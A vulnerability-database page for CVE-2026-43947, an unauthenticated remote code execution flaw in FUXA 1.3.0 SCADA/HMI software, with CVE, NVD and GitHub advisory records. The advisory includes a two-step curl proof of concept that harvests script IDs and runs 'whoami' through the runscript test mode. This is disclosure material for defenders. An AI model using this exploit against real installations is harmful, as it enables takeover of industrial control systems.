Vulnerability-Lookup

CVE-2026-43947 (GCVE-0-2026-43947)

Vulnerability from cvelistv5 – Published: 2026-07-21 21:33 – Updated: 2026-07-23 13:57

Title

FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass

Summary

FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an unauthenticated Remote Code Execution vulnerability when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script's permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. Version 1.3.1 fixes the issue.

Severity

8.9 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-23 13:57 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7843 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/frangoteam/FUXA/security/advis…	x_refsource_CONFIRM
https://github.com/frangoteam/FUXA/pull/2260	x_refsource_MISC
https://github.com/frangoteam/FUXA/commit/78534da…	x_refsource_MISC
https://github.com/frangoteam/FUXA/releases/tag/v1.3.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
frangoteam	FUXA	Affected: = 1.3.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-43947",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-23T13:57:00.510556Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-23T13:57:18.426Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "FUXA",
          "vendor": "frangoteam",
          "versions": [
            {
              "status": "affected",
              "version": "= 1.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an unauthenticated Remote Code Execution vulnerability when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script\u0027s permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script\u0027s code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. Version 1.3.1 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.9,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-21T21:33:09.631Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
        },
        {
          "name": "https://github.com/frangoteam/FUXA/pull/2260",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/frangoteam/FUXA/pull/2260"
        },
        {
          "name": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4"
        },
        {
          "name": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1"
        }
      ],
      "source": {
        "advisory": "GHSA-rg3m-cfq7-g6h6",
        "discovery": "UNKNOWN"
      },
      "title": "FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-43947",
    "datePublished": "2026-07-21T21:33:09.631Z",
    "dateReserved": "2026-05-04T16:59:09.090Z",
    "dateUpdated": "2026-07-23T13:57:18.426Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-43947",
      "date": "2026-11-15",
      "epss": "0.00911",
      "percentile": "0.60544"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "FUXA",
                "vendor": "frangoteam",
                "versions": [
                  {
                    "status": "affected",
                    "version": "= 1.3.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an unauthenticated Remote Code Execution vulnerability when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script\u0027s permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script\u0027s code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. Version 1.3.1 fixes the issue."
          },
          {
            "lang": "es",
            "value": "FUXA es un software de Visualizaci\u00f3n de Procesos (SCADA/HMI/Dashboard) basado en web. La versi\u00f3n 1.3.0 tiene una vulnerabilidad de ejecuci\u00f3n remota de c\u00f3digo no autenticada cuando \u2019secureEnabled\u2019 est\u00e1 configurado como \u2019true\u2019. El endpoint \u2019POST /api/runscript\u2019 comprueba la autorizaci\u00f3n contra el permiso del script almacenado por ID, pero cuando \u2019test: true\u2019 est\u00e1 configurado en la solicitud, compila y ejecuta c\u00f3digo proporcionado por el atacante en lugar del c\u00f3digo del script almacenado. Un atacante no autenticado que conoce un ID y nombre de script v\u00e1lidos puede ejecutar c\u00f3digo arbitrario a trav\u00e9s del modo de prueba si existe al menos un script del lado del servidor y es accesible sin permisos restrictivos. Los ID y nombres de los scripts se pueden obtener a trav\u00e9s de la revelaci\u00f3n de informaci\u00f3n no autenticada en \u2019GET /api/project\u2019 (reportado por separado). El \u00fanico requisito previo es que exista al menos un script del lado del servidor en el proyecto. La versi\u00f3n 1.3.1 corrige el problema."
          }
        ],
        "id": "CVE-2026-43947",
        "lastModified": "2026-10-24T19:10:00.127",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 8.9,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "PROOF_OF_CONCEPT",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-43947",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-23T13:57:00.510556Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-21T22:17:01.560",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/frangoteam/FUXA/pull/2260"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-863"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-43947",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-23T13:57:00.510556Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-23T13:57:13.712Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "FUXA",
              "vendor": "frangoteam",
              "versions": [
                {
                  "status": "affected",
                  "version": "= 1.3.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an unauthenticated Remote Code Execution vulnerability when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script\u0027s permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script\u0027s code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. Version 1.3.1 fixes the issue."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.9,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-863",
                  "description": "CWE-863: Incorrect Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-21T21:33:09.631Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
            },
            {
              "name": "https://github.com/frangoteam/FUXA/pull/2260",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/frangoteam/FUXA/pull/2260"
            },
            {
              "name": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4"
            },
            {
              "name": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1"
            }
          ],
          "source": {
            "advisory": "GHSA-rg3m-cfq7-g6h6",
            "discovery": "UNKNOWN"
          },
          "title": "FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-43947",
        "datePublished": "2026-07-21T21:33:09.631Z",
        "dateReserved": "2026-05-04T16:59:09.090Z",
        "dateUpdated": "2026-07-23T13:57:18.426Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-43947

Vulnerability from fkie_nvd - Published: 2026-07-21 22:17 - Updated: 2026-10-24 19:10

Severity

8.9 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4
	security-advisories@github.com	https://github.com/frangoteam/FUXA/pull/2260
	security-advisories@github.com	https://github.com/frangoteam/FUXA/releases/tag/v1.3.1
	security-advisories@github.com	https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "FUXA",
          "vendor": "frangoteam",
          "versions": [
            {
              "status": "affected",
              "version": "= 1.3.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an unauthenticated Remote Code Execution vulnerability when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script\u0027s permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script\u0027s code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. Version 1.3.1 fixes the issue."
    },
    {
      "lang": "es",
      "value": "FUXA es un software de Visualizaci\u00f3n de Procesos (SCADA/HMI/Dashboard) basado en web. La versi\u00f3n 1.3.0 tiene una vulnerabilidad de ejecuci\u00f3n remota de c\u00f3digo no autenticada cuando \u2019secureEnabled\u2019 est\u00e1 configurado como \u2019true\u2019. El endpoint \u2019POST /api/runscript\u2019 comprueba la autorizaci\u00f3n contra el permiso del script almacenado por ID, pero cuando \u2019test: true\u2019 est\u00e1 configurado en la solicitud, compila y ejecuta c\u00f3digo proporcionado por el atacante en lugar del c\u00f3digo del script almacenado. Un atacante no autenticado que conoce un ID y nombre de script v\u00e1lidos puede ejecutar c\u00f3digo arbitrario a trav\u00e9s del modo de prueba si existe al menos un script del lado del servidor y es accesible sin permisos restrictivos. Los ID y nombres de los scripts se pueden obtener a trav\u00e9s de la revelaci\u00f3n de informaci\u00f3n no autenticada en \u2019GET /api/project\u2019 (reportado por separado). El \u00fanico requisito previo es que exista al menos un script del lado del servidor en el proyecto. La versi\u00f3n 1.3.1 corrige el problema."
    }
  ],
  "id": "CVE-2026-43947",
  "lastModified": "2026-10-24T19:10:00.127",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.9,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-43947",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-23T13:57:00.510556Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-21T22:17:01.560",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/frangoteam/FUXA/pull/2260"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-RG3M-CFQ7-G6H6

Vulnerability from github – Published: 2026-05-26 23:44 – Updated: 2026-05-26 23:44

Summary

FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass

Details

Summary

An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.

Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).

The only prerequisite is that at least one server-side script exists in the project.

Details

Authorization confused deputy in script execution

File: server/runtime/scripts/index.js, lines 86-103

The authorization check looks up the stored script by ID and validates the stored script's permission field:

this.isAuthorised = function (_script, permission) {
    const st = scriptModule.getScript(_script);  // finds stored script by _script.id
    if (admin || (st && (!st.permission || st.permission & permission))) {
        return true;
    }
    return false;
}

When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.

Guest auto-authentication in the middleware

File: server/api/jwt-helper.js, lines 46-72

The verifyToken middleware generates a valid guest JWT when no token is provided:

if (!token) {
    token = getGuestToken();
}

The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.

Test mode executes attacker-supplied code

File: server/runtime/scripts/msm.js

When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.

PoC

Requires an existing server-side script accessible without restrictive permissions.

Step 1: Retrieve script IDs from the unauthenticated project endpoint

curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'

{
  "id": "legit-001",
  "name": "calculate",
}
{
  "id": "s_42a888fa-8e3d4213",
  "name": "subs",
}

Step 2: Execute whoami without authentication

Using the script ID and name from step 1:

curl -s -X POST http://192.168.32.129:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'

Impact

Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.

Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.

This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fuxa-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.3.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-26T23:44:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated Remote Code Execution vulnerability exists in FUXA when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script\u0027s permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script\u0027s code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.\n\nScript IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately).\n\nThe only prerequisite is that at least one server-side script exists in the project.\n\n### Details\n\n**Authorization confused deputy in script execution**\n\nFile: `server/runtime/scripts/index.js`, lines 86-103\n\nThe authorization check looks up the stored script by ID and validates the stored script\u0027s `permission` field:\n\n```javascript\nthis.isAuthorised = function (_script, permission) {\n    const st = scriptModule.getScript(_script);  // finds stored script by _script.id\n    if (admin || (st \u0026\u0026 (!st.permission || st.permission \u0026 permission))) {\n        return true;\n    }\n    return false;\n}\n```\n\nWhen a script has no `permission` field set (or `permission: 0`), the expression `!st.permission` evaluates to `true`, and the check passes for any caller including guests.\n\n**Guest auto-authentication in the middleware**\n\nFile: `server/api/jwt-helper.js`, lines 46-72\n\nThe `verifyToken` middleware generates a valid guest JWT when no token is provided:\n\n```javascript\nif (!token) {\n    token = getGuestToken();\n}\n```\n\nThe guest token passes verification. The request proceeds to the handler with `userId: \"guest\"`. The `isAuthorised` check then finds the stored script and validates against its permission. Scripts without a `permission` field pass for any user including guests.\n\n**Test mode executes attacker-supplied code**\n\nFile: `server/runtime/scripts/msm.js`\n\nWhen `test: true` is set, `runTestScript` takes the attacker\u0027s `code` field from the request body, compiles it into a Node.js module via `Module._compile`, and executes it with full access to `require`, `child_process`, `fs`, and the entire Node.js runtime. The authorization checked the stored script\u0027s permission. The execution runs the attacker\u0027s code.\n\n### PoC\n\nRequires an existing server-side script accessible without restrictive permissions.\n\n**Step 1: Retrieve script IDs from the unauthenticated project endpoint**\n\n```bash\ncurl -s http://192.168.32.129:1881/api/project | jq \u0027.scripts[] | {id, name, permission}\u0027\n```\n\n```json\n{\n  \"id\": \"legit-001\",\n  \"name\": \"calculate\",\n}\n{\n  \"id\": \"s_42a888fa-8e3d4213\",\n  \"name\": \"subs\",\n}\n```\n\n**Step 2: Execute `whoami` without authentication**\n\nUsing the script ID and name from step 1:\n\n```bash\ncurl -s -X POST http://192.168.32.129:1881/api/runscript \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"params\":{\"script\":{\"id\":\"s_42a888fa-8e3d4213\",\"name\":\"subs\",\"test\":true,\"code\":\"return require(\\\"child_process\\\").execSync(\\\"whoami\\\").toString()\",\"parameters\":[],\"sync\":true}}}\u0027\n```\n\n\n### Impact\n\nAny network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.\n\nPotential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.\n\nThis issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.",
  "id": "GHSA-rg3m-cfq7-g6h6",
  "modified": "2026-05-26T23:44:52Z",
  "published": "2026-05-26T23:44:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frangoteam/FUXA/pull/2260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/frangoteam/FUXA"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
